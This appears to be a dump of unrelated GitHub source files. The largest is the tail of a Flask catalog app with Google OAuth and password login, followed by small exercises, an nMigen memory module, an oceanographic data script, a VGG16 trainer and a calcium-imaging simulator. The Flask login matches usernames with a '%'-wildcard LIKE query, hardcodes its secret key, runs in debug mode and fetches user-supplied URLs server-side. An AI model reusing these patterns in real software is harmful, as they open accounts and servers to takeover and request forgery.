with the\n # token as 'state'.\n if request.args.get('state') != login_session['_csrf_token']:\n response = make_response(json.dumps('Invalid state parameter.'), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n # Obtain authorization code, now compatible with Python3\n code = request.data.decode('utf-8')\n\n try:\n # Upgrade the authorization code into a credentials object\n oauth_flow = flow_from_clientsecrets(CLIENT_SECRET, scope='')\n oauth_flow.redirect_uri = 'postmessage'\n credentials = oauth_flow.step2_exchange(code)\n except FlowExchangeError:\n # the gplus oauth callback is firing multiple times and before the first\n # request can finish; a solution is being searched for\n response = make_response(json.dumps('Let this error fail silently.'),\n 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n login_session['code'] = code\n # Check that the access token is valid.\n access_token = credentials.access_token\n url = ('https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=%s'\n % access_token)\n # Submit request, parse response - Python3 compatible\n h = httplib2.Http()\n response = h.request(url, 'GET')[1]\n str_response = response.decode('utf-8')\n result = json.loads(str_response)\n\n # If there was an error in the access token info, abort.\n if result.get('error') is not None:\n response = make_response(json.dumps(result.get('error')), 500)\n response.headers['Content-Type'] = 'application/json'\n\n # Verify that the access token is used for the intended user.\n gplus_id = credentials.id_token['sub']\n if result['user_id'] != gplus_id:\n response = make_response(\n json.dumps(\"Token's user ID doesn't match given user ID.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Verify that the access token is valid for this app.\n if result['issued_to'] != CLIENT_ID:\n response = make_response(\n json.dumps(\"Token's client ID does not match app's.\"), 401)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n # Get user info\n userinfo_url = \"https://www.googleapis.com/oauth2/v1/userinfo\"\n params = {'access_token': access_token, 'alt': 'json'}\n answer = requests.get(userinfo_url, params=params)\n\n data = answer.json()\n\n # see if user exists, if it doesn't make a new one\n user_id = get_user_id(data['email'])\n if not user_id:\n user_id = create_user(data)\n\n # set login_session data\n user = get_user(user_id)\n login_session['access_token'] = access_token\n login_session['gplus_id'] = gplus_id\n login_session['username'] = user.username\n login_session['email'] = user.email\n login_session['picture'] = user.picture\n login_session['user_id'] = user.id\n login_session['provider'] = 'google'\n response = make_response(json.dumps(user.serialize), 200)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\n# Revoke google oauth token\ndef gdisconnect():\n # Only disconnect a connected user.\n access_token = login_session.get('access_token')\n if access_token is None:\n return 200\n url = 'https://accounts.google.com/o/oauth2/revoke?token=%s' % access_token\n h = httplib2.Http()\n result = h.request(url, 'GET')[0]\n if result['status'] == '200':\n # Reset the user's session.\n return 200\n else:\n # For whatever reason, the given token was invalid.\n return jsonify(message='Failed to revoke token for given user.'), 400\n\n\n# umbrella disconnect function, signing out user regardless of service used\n@app.route('/api/disconnect')\ndef disconnect():\n provider = login_session.pop('provider', None)\n if provider == 'google':\n gdisconnect()\n login_session.clear()\n return 'Successfully logged out.'\n\n\n# register users without oauth\n@app.route('/api/register', methods=['POST'])\ndef register_user():\n email = request.form.get('email')\n if not re.match(email_pattern, email):\n return jsonify(message=\"Email is not valid.\"), 400\n password = request.form.get('password')\n username = request.form.get('username')\n if email == '' or password == '' or username == '':\n return jsonify(message='Form fields incomplete.'), 400\n if session.query(User).filter_by(email=email).first() is not None:\n return jsonify(message='User already registered.'), 400\n # initialize user\n user = User(email=email)\n user.username = username\n user.hash_password(password)\n user.picture = default_picture_url\n session.add(user)\n session.commit()\n\n # set login_session data\n user = session.query(User).filter_by(email=email).one()\n login_session['username'] = user.username\n login_session['email'] = user.email\n login_session['picture'] = user.picture\n login_session['user_id'] = user.id\n login_session['provider'] = 'none'\n return jsonify(message='You have successfully registered.'), 201\n\n\n# login user without oauth\n@app.route('/api/login', methods=['POST'])\ndef login():\n username = request.form.get('username')\n password = request.form.get('password')\n if username is None or password is None:\n return jsonify(message='Form fields incomplete.'), 400\n if re.match(email_pattern, username):\n user = session.query(User).filter(User.email.like(\n '%' + username + '%')).first()\n else:\n user = session.query(User).filter(User.username.like(\n '%' + username + '%')).first()\n\n if user is None:\n return jsonify(message='User not registered.'), 400\n if not user.verify_password(password=password):\n return jsonify(message='Username or password incorrect.'), 400\n\n # set login_session data\n login_session['username'] = user.username\n login_session['email'] = user.email\n login_session['picture'] = user.picture\n login_session['user_id'] = user.id\n login_session['provider'] = 'none'\n return jsonify({'username': user.username, 'email': user.email,\n 'picture': user.picture, 'user_id': user.id}), 201\n\n\n# get the user who is currently signed in.\n@app.route('/api/userdata')\ndef get_current_user():\n if 'username' not in login_session:\n jsonify(message='You do not have access to user\\'s information.'), 403\n else:\n user = session.query(User).filter_by(\n username=login_session['username']).first()\n return jsonify({'username': user.username, 'email': user.email,\n 'picture': user.picture, 'id': user.id}), 201\n\n\n##########################\n# CRUD Helpers\n##########################\n\n# check to see if name exists; returns a boolean\ndef validate_exists(item):\n if item == '' or item is None:\n return False\n return True\n\n\n# validate image url as an actual url\ndef validate_image_url(img_url):\n # if user does not include an image url, send back a default\n if img_url == '':\n return 200, default_img_url, ''\n # if user includes img, check if valid.\n else:\n try:\n r = requests.get(img_url)\n msg = ''\n code = r.status_code\n print(code)\n if code == 404:\n msg = 'Image was not found. Enter a valid url or leave the ' \\\n 'field blank.'\n code = 400\n return code, img_url, msg\n except requests.exceptions.MissingSchema:\n return 400, '', 'Image url is an invalid schema. Enter a valid ' \\\n 'url or leave the field blank.'\n except requests.exceptions.InvalidSchema:\n return 400, '', 'Image url is missing schema. A preceding ' \\\n '\"http://\" might fix it, or leave the field blank.'\n except requests.exceptions.Timeout:\n return 200, default_img_url, 'Image Timeout. Set to default.'\n except requests.exceptions.ConnectionError:\n return 200, default_img_url, 'Connection error. Set to default.'\n except:\n return 200, default_img_url, 'We don\\'t know what\\'s wrong with ' \\\n 'the entered image url. Set to ' \\\n 'default.'\n\n##########################\n# User Helper\n##########################\n\n# register user with oauth\ndef create_user(data):\n new_user = User(name=data['name'], email=data['email'],\n picture=data['picture'], username=data['name'])\n session.add(new_user)\n session.commit()\n user = session.query(User).filter_by(email=data['email']).one()\n return user.id\n\n\n# get user object\ndef get_user(user_id):\n user = session.query(User).filter_by(id=user_id).one()\n return user\n\n\n# get user ID\ndef get_user_id(email):\n try:\n user = session.query(User).filter_by(email=email).one()\n return user.id\n except exc.NoResultFound:\n return None\n\n\n##########################\n# Security Helpers\n##########################\n\n# Create 'STATE' strings\ndef generate_random_string():\n return ''.join(random.choice(\n string.ascii_uppercase + string.digits) for x in range(32))\n\n\n# Generate a token for a cookie XSRF-prevention for registered users\ndef generate_csfr_token(user_id, expiration=1200):\n s = Serializer(app.config['SECRET_KEY'], expires_in=expiration)\n token = s.dumps({'id': user_id})\n login_session['_csrf_token'] = token\n return token\n\n\n# Read in token\n@app.before_request\ndef csrf_protect_read():\n if request.method == \"POST\" and request.endpoint != \"gconnect\":\n token = login_session.pop('_csrf_token', None)\n req_token = request.headers.get('X-XSRF-TOKEN')\n if not token or token != req_token:\n return jsonify(message='Token does not match.'), 403\n\n\n# Set csrf token after every request\n@app.after_request\ndef crsf_protect_write(resp):\n if 'username' not in login_session:\n token = generate_random_string()\n else:\n token = generate_csfr_token(login_session['user_id'])\n login_session['_csrf_token'] = token\n resp.set_cookie('XSRF-TOKEN', token.decode('ascii'))\n return resp\n\n\n##########################\n# Run application\n##########################\napp.secret_key = 'Spray tans are so 1998.'\n\nif __name__ == '__main__':\n app.debug = True # change value if ran with Python and not server\n app.run(host='0.0.0.0', port=8000)\n","repo_name":"shteeven/catalog-app","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":23625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12987552967","text":"# Using while loop\n# num = 1\n# while num <= 50:\n# if num % 3 == 0:\n# num += 1\n# continue\n# print(num)\n# num += 1\n\n\n# Using for loop\nfor i in range(51):\n if (i % 3 == 0):\n continue\n print(i)\n","repo_name":"rajdip20/DataStructure-Algorithms","sub_path":"DS-Algo-with-Python/Lecture-5/ExceptMultipleOf3.py","file_name":"ExceptMultipleOf3.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4039590768","text":"'''\nfrom collections import deque\nn = int(input()) # 수열의 길이\nnum = list(map(int, input().split())) # 받아온 수열\nnew_num = sorted(num) # 정렬된 수열\nnum = deque(num)\n\ncnt = 0 # 최대 증가수열의 길이\nres = '' # L과 R로 이루어진 문자열\nfor i in range(n):\n if new_num[i] == num[0]: # 현재 가장 작은 값이 왼쪽과 같은 경우\n num.popleft()\n cnt += 1\n res += 'L'\n elif new_num[i] == num[-1]: # 현재 가장 작은 값이 오른쪽과 같은 경우\n num.pop()\n cnt += 1\n res += 'R'\n else:\n continue\n\nprint(cnt)\nprint(res)\n'''\n\n######## 다른 풀이 #########\nn = int(input()) # 수열의 길이\nnum = list(map(int, input().split())) # 받아온 수열\n\nlt = 0 # 수열의 맨 왼쪽\nrt = n - 1 # 수열의 맨 오른쪽\nlast = 0 # 현재 증가수열의 마지막 값\nres = '' # L과 R로 이루어진 문자열\ntmp = [] # 두개의 값을 넣어서 정렬할 리스트\n\nwhile lt <= rt:\n if num[lt] > last:\n tmp.append((num[lt], 'L'))\n if num[rt] > last:\n tmp.append((num[rt], 'R'))\n tmp.sort()\n if len(tmp) == 0: # lt와 rt가 모두 last보다 작을 때\n break\n else:\n last = tmp[0][0]\n res += tmp[0][1]\n if tmp[0][1] == 'L':\n lt += 1\n else:\n rt -= 1\n tmp.clear() # tmp를 비움\n\nprint(len(res))\nprint(res)","repo_name":"yujin-kwak/algorithm","sub_path":"practice/이분 탐색(결정알고리즘)&그리드 알고리즘/증가수열 만들기.py","file_name":"증가수열 만들기.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21371594400","text":"from nmigen import *\n\n\n__all__ = [\"Memory1W1R\"]\n\n\nclass Memory1W1R(Elaboratable):\n def __init__(self, *, width, depth, init=None, name=None, attrs=None):\n self._storage = Memory(width=width, depth=depth, init=init, name=name, attrs=attrs)\n\n self.width = self._storage.width\n self.depth = self._storage.depth\n self.attrs = self._storage.attrs\n self.init = self._storage.init\n\n self.rp = Record([\n (\"addr\", range(depth)),\n (\"data\", width),\n ])\n self.wp = Record([\n (\"addr\", range(depth)),\n (\"en\", 1),\n (\"data\", width),\n ])\n\n def elaborate(self, platform):\n m = Module()\n\n m.submodules.storage_rp = storage_rp = self._storage.read_port(transparent=False)\n m.submodules.storage_wp = storage_wp = self._storage.write_port()\n\n m.d.comb += [\n storage_rp.addr.eq(self.rp.addr),\n storage_rp.en .eq(Const(1)),\n\n storage_wp.addr.eq(self.wp.addr),\n storage_wp.en .eq(self.wp.en),\n storage_wp.data.eq(self.wp.data),\n ]\n\n collision = Signal()\n data_fwd = Signal(self.width)\n m.d.sync += [\n collision.eq(self.wp.en & (self.wp.addr == self.rp.addr)),\n data_fwd .eq(self.wp.data),\n ]\n\n with m.If(collision):\n m.d.comb += self.rp.data.eq(data_fwd)\n with m.Else():\n m.d.comb += self.rp.data.eq(storage_rp.data)\n\n return m\n\n\nimport unittest\nfrom nmigen.sim import *\n\nclass Memory1W1RTestCase(unittest.TestCase):\n def test_simple(self):\n dut = Memory1W1R(width=8, depth=4)\n sim = Simulator(dut)\n sim.add_clock(1e-6)\n\n def process():\n yield dut.wp.addr.eq(1)\n yield dut.wp.en .eq(1)\n yield dut.wp.data.eq(0xa5)\n yield\n yield dut.wp.en .eq(0)\n yield dut.rp.addr.eq(1)\n yield; yield Delay()\n self.assertEqual((yield dut.rp.data), 0xa5)\n\n sim.add_sync_process(process)\n with sim.write_vcd(\"test.vcd\"):\n sim.run()\n\n def test_collision(self):\n dut = Memory1W1R(width=8, depth=4)\n sim = Simulator(dut)\n sim.add_clock(1e-6)\n\n def process():\n yield dut.wp.addr.eq(1)\n yield dut.wp.en .eq(1)\n yield dut.wp.data.eq(0xa5)\n yield dut.rp.addr.eq(1)\n yield; yield Delay()\n yield dut.wp.data.eq(0xb6)\n self.assertEqual((yield dut.rp.data), 0xa5)\n yield; yield Delay()\n self.assertEqual((yield dut.rp.data), 0xb6)\n yield dut.wp.en .eq(0)\n yield; yield Delay()\n self.assertEqual((yield dut.rp.data), 0xb6)\n\n sim.add_sync_process(process)\n with sim.write_vcd(\"test.vcd\"):\n sim.run()\n","repo_name":"lambdaconcept/mfcc","sub_path":"mfcc/misc/mem.py","file_name":"mem.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"73094369157","text":"import os\n\n\nclass BaseFileReader():\n def readFile(self, path):\n content = str\n\n if path != \"\":\n with open(path, 'r') as file:\n try:\n content = file.read()\n except UnicodeDecodeError as e:\n print(e.reason)\n file.close()\n\n return content\n\n def listDirectory(self, path):\n try:\n return os.listdir(path)\n except FileNotFoundError as e:\n print(e)\n\n def deleteFile(self, path):\n os.remove(path)\n","repo_name":"Humminghead/GrafanaSimpleJsonServer","sub_path":"filereader.py","file_name":"filereader.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70124210438","text":"#!/usr/bin/python\n\nimport sys\nfrom pathlib import Path\n\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom bgcArgo import sprof\n\nplot_profiles = True\n\n# summary comparison between bgcArgo and SAGE/DOXY audit\nfn = Path('../data/doxy_audit_vs_bgcArgo_py_comparison_20200920.csv')\ndf = pd.read_csv(fn)\ndf['diffGAIN'] = np.abs(df.pyGAIN - df.sageGAIN)\n\naudit_file = Path('../data/DOXY_audit_070720.TXT')\nxf = pd.read_csv(audit_file, sep='\\t', header=25)\n\nnan = df[df.pyGAIN.isna()]\nbig = df[df.diffGAIN >= 0.2]\ngood = df[df.diffGAIN == 0.0]\n\nNnan = nan.shape[0]\nif Nnan == 0:\n Nnan = 1\n\n# by dac\nsys.stdout.write('%nan (N)\\t%big (N)\\t%audit (N)\\t dac\\n')\nfor dac in xf.DAC.unique():\n sub_nan = nan[nan.DAC == dac]\n sub_big = big[big.DAC == dac]\n sub_audit = xf[xf.DAC == dac]\n sys.stdout.write('{:.2f} ({:d})\\t{:.2f} ({:d})\\t{:.2f} ({:d})\\t{}\\n'.format(100*sub_nan.shape[0]/Nnan, sub_nan.shape[0], 100*sub_big.shape[0]/big.shape[0], sub_big.shape[0], 100*sub_audit.shape[0]/xf.shape[0], sub_audit.shape[0], dac))\n\n# looks like disproportionate amount of coriolis are nan or big - look into it\n# sub = df[np.logical_or(df.diffGAIN.isnull(), df.diffGAIN >= 0.2)]\n# sub = df[df.pyGAIN.isnull()]\nsub = df[df.diffGAIN >= 1]\nsub = sub[sub.DAC == 'coriolis']\n\nsprof.set_dirs(argo_path='/Users/gordonc/Documents/data/Argo', woa_path='/Users/gordonc/Documents/data/WOA18')\nsyn = sprof(sub.WMO.iloc[0])\nsf = syn.to_dataframe()\nsf = sf[sf.CYCLE.isin([0,130])]\n\nfor flt in good.WMO.unique():\n syn = sprof(flt)\n # syn.clean()\n syn.calc_gains(ref='WOA')\n\n sub_df = good[good.WMO == flt]\n\n ff = syn.to_dataframe()\n ff = ff[ff.CYCLE.isin(sub_df.CYCLE)]\n ff = ff[ff.PRES < 30]\n\n fltWOA = syn.__WOAfloatref__\n WOA = syn.__WOAref__\n WOA = np.append(fltWOA, np.atleast_2d(WOA).T, axis=1)\n\n wf = pd.DataFrame(data=WOA, columns=['cycle', 'date', 'fltmean', 'fltstd', 'WOA'])\n wf = wf[wf.cycle.isin(sub_df.CYCLE)]\n\n sys.stdout.write('{}\\n'.format(flt))\n sys.stdout.write('cycle\\tpyG\\tsageG\\tflt\\tWOA\\n')\n for i,c in enumerate(sub_df.CYCLE):\n sys.stdout.write('{:d}\\t{:.2f}\\t{:.2f}\\t{:.2f}\\t{:.2f}\\n'.format(int(wf.cycle.iloc[i]), sub_df.pyGAIN.iloc[i], sub_df.sageGAIN.iloc[i], wf.fltmean.iloc[i], wf.WOA.iloc[i]))\n\n if plot_profiles:\n plt.plot(ff.O2Sat, ff.PRES)\n plt.show()","repo_name":"ArgoCanada/bgcArgoDMQC","sub_path":"validation/get_mismatches.py","file_name":"get_mismatches.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"70284721477","text":"import sys\n\nfor arg in sys.argv:\n\tstr = arg[::-1]\n\tfor char in str:\n\t\tif (str[::-1] == sys.argv[0]):\n\t\t\tbreak\n\t\tif(char != char.upper()):\n\t\t\tprint (char.upper(), end = \"\")\n\t\telif (char != char.lower()):\n\t\t\tprint (char.lower(), end =\"\")","repo_name":"Benj0t/BC_Python","sub_path":"day00/ex01/exec.py","file_name":"exec.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28621163233","text":"\n\nfrom keras.layers import Input, Lambda, Dense, Flatten\nfrom keras.models import Model\nfrom keras.applications.vgg16 import VGG16\nfrom keras.applications.vgg16 import preprocess_input\nfrom keras.preprocessing import image\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nimport numpy as np\nfrom glob import glob\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\nIMAGE_SIZE = [224, 224]\n\nimage_gen = ImageDataGenerator(rotation_range=30, # rotate the image 30 degrees\n width_shift_range=0.1, # Shift the pic width by a max of 10%\n height_shift_range=0.1, # Shift the pic height by a max of 10%\n rescale=1/255, # Rescale the image by normalzing it.\n shear_range=0.2, # Shear means cutting away part of the image (max 20%)\n zoom_range=0.2, # Zoom in by 20% max\n horizontal_flip=True, # Allo horizontal flipping\n fill_mode='nearest' # Fill in missing pixels with the nearest filled value\n )\n\nbatch_size = 32\n\ntrain_image_gen = image_gen.flow_from_directory('../hand/train_images',\n target_size=IMAGE_SIZE[:2],\n batch_size=batch_size,\n class_mode='categorical',\n )\n\ntype(train_image_gen)\n\ntest_image_gen = image_gen.flow_from_directory('../hand/test_images',\n target_size=IMAGE_SIZE[:2],\n batch_size=batch_size,\n class_mode='categorical',\n )\n\nvgg = VGG16(input_shape=IMAGE_SIZE + [3], weights='imagenet', include_top=False)\n\nfor layer in vgg.layers:\n layer.trainable = False\n\nx = Flatten()(vgg.output)\n\nclasses = test_image_gen.class_indices\n\nclasses\n\nlen(classes)\n\nprediction = Dense(len(classes), activation='softmax')(x)\n\nmodel = Model(inputs=vgg.input, outputs=prediction)\n\nmodel.summary()\n\nmodel.compile(\n loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy']\n)\n\nr=model.fit(train_image_gen,epochs=50, validation_data= test_image_gen)\n\nmodel.save(\"VGG16_fingercount_8jan_50epochs.h5\")\n","repo_name":"Akshay-krishna-R/Hand-gesture-detection-using-Artificial-intelligence.","sub_path":"training_the_model .py","file_name":"training_the_model .py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"3082356959","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\nimport numpy as np\nimport scipy.io\nimport os\nimport json\nfrom scipy.stats import skewnorm\nimport matplotlib.pyplot as plt\nfrom shapely.geometry import Point as pt\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom shapely.geometry import Polygon, LineString\nfrom shapely.ops import polygonize\nimport scipy.optimize\nfrom scipy.ndimage import gaussian_filter\nimport cv2\nimport imageio\nimport pandas as pd\nimport glob\nfrom PIL import Image\nfrom itertools import product\nfrom skimage.draw import circle, circle_perimeter\nfrom os.path import isfile, join\nimport h5py\n\ndef activation_rise(m, t, b):\n return m * t + b\n\n\ndef activation_decay(t, intensity, delay, decay):\n return intensity * np.exp(-decay * (t - delay))\n\n\ndef cart2pol(x, y):\n rho = np.sqrt(x**2 + y**2)\n phi = np.arctan2(y, x)\n return np.array([rho, phi])\n\ndef pol2cart(rho, phi):\n x = rho * np.cos(phi)\n y = rho * np.sin(phi)\n return np.array([x, y])\nimport re\n\ndef tryint(s):\n try:\n return int(s)\n except:\n return s\n\ndef alphanum_key(s):\n \"\"\" Turn a string into a list of string and number chunks.\n \"z23a\" -> [\"z\", 23, \"a\"]\n \"\"\"\n return [ tryint(c) for c in re.split('([0-9]+)', s) ]\n\ndef sort_nicely(l):\n \"\"\" Sort the given list in the way that humans expect.\n \"\"\"\n l.sort(key=alphanum_key)\n\ndef convert_frames_to_video(pathIn,pathOut,fps=1):\n\n frame_array = []\n files = [f for f in os.listdir(pathIn) if isfile(join(pathIn, f))]\n #for sorting the file names properly\n files.sort(key=lambda x: int(x[5:-4]))\n for i in range(len(files)):\n filename=pathIn + files[i]\n #reading each files\n img = cv2.imread(filename)\n height, width, layers = (500, 500, 1)\n size = (width,height)\n #inserting the frames into an image array\n frame_array.append(img)\n out = cv2.VideoWriter(pathOut,cv2.VideoWriter_fourcc(*'DIVX'), fps, size)\n for i in range(len(frame_array)):\n # writing to a image array\n out.write(frame_array[i])\n out.release()\n\ndef convert_frames_to_gif(pathIn,pathOut,fps=5):\n files = os.listdir(pathIn)\n path_save = pathOut + \"video.gif\"\n # assume that your images that youcreate_single_activation\n # want to make the GIF are under the my_images folder\n images_path = [os.path.join(pathIn, file) for file in files]\n\n # for sorting the file names properly\n #print(images_path[0][5:4])\n sort_nicely(images_path)\n #images_path.sort(key=lambda x: int(x[9:]))\n # fps are the frames per second\n images = []\n for img_p in images_path:\n\n img = imageio.imread(img_p)\n images.append(img)\n\n\n imageio.mimsave(path_save, images, fps=fps)\n\n######################################## dataset #############################################\n\nclass Dataset:\n def __init__(self, image_size, background_color, background_snr, n_sequences, n_frames, seed=0):\n self.image_size = image_size\n self.image = None\n self.seed = seed\n self.background_color = background_color\n self.n_sequences = n_sequences\n self.n_frames = n_frames # frames per sequence\n\n self.raster_mask = np.zeros((500, 500))\n self.sin = 0.05 * np.sin(np.arange(0, n_frames/0.01, 0.01))\n def create_image(self):\n \"\"\" Returns image array filled with zeros of size imag_size set in constructor \"\"\"\n self.image = np.ones(self.image_size) * self.background_color\n return self.image\n\n def create_sequences(self, neuron_coords, neuron_act, neuron_coords_dark=None): #, neuron_act_outer):\n sequence_set = []\n for n in range(self.n_sequences):\n image_set = []\n t = 0 # time step inside sequence\n for f in range(self.n_frames):\n\n print(f\"Processing frame {f} of {self.n_frames}\")\n self.image = self.create_image()\n self.image = self.plot_neurons(self.image, neuron_coords, neuron_act, t)\n #self.image = self.plot_neurons(self.image, neurons, neuron_coords, neuron_act, neuron_act_outer, t)\n\n if neuron_coords_dark is not None:\n self.image = self.plot_dark_neurons(self.image, neuron_coords_dark, t)\n\n self.image = self.apply_noise(self.image)\n self.image = add_background(self.image, snr=background_snr, rotate_angle=background_rotation)\n self.add_drift(t)\n image_set.append(self.image)\n t = t + 1\n\n\n sequence_set.append(image_set)\n\n return sequence_set\n\n def add_drift(self, t):\n\n self.image = self.image + self.sin[t]\n\n def plot_neurons(self, image, neuron_coords, neuron_act, t):\n\n for neuron_coord, neuron_a in zip(neuron_coords, neuron_act):\n image_neurons = self.rasterize(neuron_coord, image, neuron_a, t)\n\n return image_neurons\n\n def rasterize(self, neuron, raster, intensity_curve, t, dark=False):\n\n minx, miny, maxx, maxy = neuron.bounds\n # center_x = maxx - minx\n # center_y = maxy - miny\n # r = center_x - minx\n # r_outer = r * 1.3\n # coords_outer = points_in_circle(center_x, center_y, r_outer)\n minx, miny = np.floor(minx), np.floor(miny)\n maxx, maxy = np.ceil(maxx), np.ceil(maxy)\n\n for x in np.arange(minx, maxx):\n for y in np.arange(miny, maxy):\n if neuron.contains(pt(x, y)) and 0 < int(y) < raster.shape[0] and \\\n 0 < int(x) < raster.shape[1]:\n\n #if self.raster_mask[int(x), int(y)] == 0:\n raster[int(y), int(x)] = intensity_curve[t]\n # else:\n # if raster[int(y), int(x)] <= intensity_curve[t]:\n # raster[int(y), int(x)] = intensity_curve[t]\n #\n # self.raster_mask[int(x), int(y)] = 1\n # print(self.raster_mask)\n\n return raster\n\n def apply_noise(self, image):\n\n image = image / 255\n noise = np.random.normal(0, 0.07, (500, 500))\n image1 = gaussian_filter(image, 5)\n image2 = gaussian_filter(image, 10)\n image = 0.9*image1 + 0.1*image2 + noise\n return image\n\n\nclass Neuron:\n def __init__(self, size_param=(2, 3), rise_length=4, decay_param=(0.2, 1.5),\n intensity_mean=60, intensity_max=(160,200), active_value=(0.1), seed=0):\n\n self.active_value = np.random.normal(active_value, 0.00005)\n\n self.intensity_mean = intensity_mean\n self.intensity_max = np.random.randint(intensity_max[0], intensity_max[1])\n self.intensity = np.random.randint(0, 255)\n self.size = np.random.uniform(size_param[0], size_param[1])\n self.rise = rise_length\n self.decay_length = np.random.uniform(decay_param[0], decay_param[1])\n\n self.activation_events = None\n\n def get_activation_function(self, n_frames, save_path, n_neurons, save, noise=True):\n\n\n\n nb_activations = int(n_frames * self.active_value)\n nb_activations_neg = int(n_frames * self.active_value * 0.01 )\n print(nb_activations, nb_activations_neg)\n\n # if nb_activations < 0:\n # nb_activations = 0\n #\n # if nb_activations_neg < 0:\n # nb_activations_neg = 0\n intensities = np.full(n_frames + 151, self.intensity_mean)\n spikes = []\n spikes_neg = []\n spike_times = self.generate_spike_moments(n_frames, nb_activations)\n print(\"spike times:\", spike_times)\n spike_times_neg = self.generate_spike_moments(n_frames, nb_activations_neg)\n # for ground truth\n self.activation_events = np.array(spike_times) + self.rise\n self.activation_events = [x for x in self.activation_events if x <= n_frames]\n\n\n for i in range(nb_activations):\n spikes.append(self.create_single_activation())\n for i in range(nb_activations_neg):\n spikes_neg.append(self.create_single_activation(sign_pos=False))\n\n for spike, spike_t in zip(spikes, spike_times):\n i = 0\n for elem in spike:\n intensities[spike_t + i] = elem\n i += 1\n\n for spike, spike_t in zip(spikes_neg, spike_times_neg):\n i = 0\n for elem in spike:\n intensities[spike_t + i] = elem\n i += 1\n\n if len(intensities) > n_frames:\n intensities = intensities[:n_frames]\n else:\n intensities = np.pad(intensities, (0, n_frames- len(intensities)), \"constant\",\n constant_values=self.intensity_mean)\n\n\n if noise:\n noisy = np.random.normal(0, 10, n_frames)\n intensities = intensities + noisy\n save_path_neuron_act = save_path + \"/traces/\"\n if not os.path.exists(save_path_neuron_act):\n os.makedirs(save_path_neuron_act)\n\n #plot calcium traces\n fig, ax = plt.subplots(figsize=(8, 8))\n plt.plot(np.arange(0, n_frames), intensities)\n\n if save:\n fig.savefig(save_path_neuron_act + f\"/neuron_{n_neurons}.png\")\n plt.show()\n plt.close(fig)\n return intensities\n\n def generate_spike_moments(self, n_frames, nb_activations):\n time_sequence = np.arange(0, n_frames-1)\n return np.random.choice(time_sequence, int(nb_activations))\n\n def get_neuron_events(self):\n return self.activation_events\n\n def draw_skewnorm(self, skewness=1, boundaries=(-0.75, 1)):\n r = np.inf\n while (r < boundaries[0]) or (r > boundaries[1]):\n r = skewnorm.rvs(skewness, size=1)\n r = (r - boundaries[0]) / (boundaries[1] - boundaries[0]) * 400\n return r[0]\n\n\n def create_single_activation(self, sign_pos=True):\n my_list = [True] * 50 + [False] * 50\n hold_on_top = np.random.choice(my_list)\n\n activation=[]\n activation_intensity = self.draw_skewnorm(5)\n if sign_pos:\n m = activation_intensity / (self.rise - 1)\n else:\n activation_intensity /= 5\n activation_intensity = - activation_intensity\n if activation_intensity < 0:\n activation_intensity = 0\n m = activation_intensity / (self.rise - 1)\n rise = self.activation_rise(m, np.arange(self.rise))\n decay_length = np.random.randint(35, 85)\n decay = self.activation_decay(np.arange(decay_length), activation_intensity,\n self.decay_length, 0,\n self.intensity_mean)\n for i in rise:\n activation.append(i)\n\n if sign_pos:\n if hold_on_top:\n hold_on_top_length = int(np.random.uniform(4, 8))\n for i in range(hold_on_top_length):\n activation.append(activation_intensity)\n else:\n hold_on_top_length = int(np.random.uniform(20,45))\n for i in range(hold_on_top_length):\n activation.append(activation_intensity)\n for i in decay[1:len(decay)]:\n activation.append(i)\n\n return activation\n\n def activation_rise(self, m, t, b=None):\n \"\"\" returns one single rise \"\"\"\n if b is None:\n b = self.intensity_mean\n return m * t + b\n\n def activation_decay(self, t, intensity, decay, delay, offset):\n \"\"\" returns one single decay \"\"\"\n return intensity * np.exp(-decay * (t - delay)) / np.exp(-decay * (t[0] - delay)) + offset\n\n def smoothListGaussian(self, list, degree=5):\n window = degree * 2 - 1\n weight = np.array([1.0] * window)\n weightGauss = []\n\n for i in range(window):\n i = i - degree + 1\n frac = i / float(window)\n gauss = 1 / (np.exp((4 * (frac)) ** 2))\n weightGauss.append(gauss)\n weight = np.array(weightGauss) * weight\n smoothed = [0.0] * (len(list) - window)\n for i in range(len(smoothed)):\n smoothed[i] = sum(np.array(list[i:i + window]) * weight) / sum(weight)\n return smoothed\n\n def get_neuron_shape(self, edge_smooth_factor=18):\n \"\"\" returns polygon shapely object \"\"\"\n # Generate the polygon\n theta = np.linspace(0, 2 * np.pi, 100, endpoint=False)\n r = np.random.poisson(3, 100)\n\n r = np.pad(r, (edge_smooth_factor - 1, edge_smooth_factor), mode='wrap')\n\n r = self.smoothListGaussian(r, degree=edge_smooth_factor)\n r = r / np.mean(r) * self.size\n coords = zip(np.cos(theta) * r, np.sin(theta) * r)\n neuron_shape = Polygon(coords)\n\n return 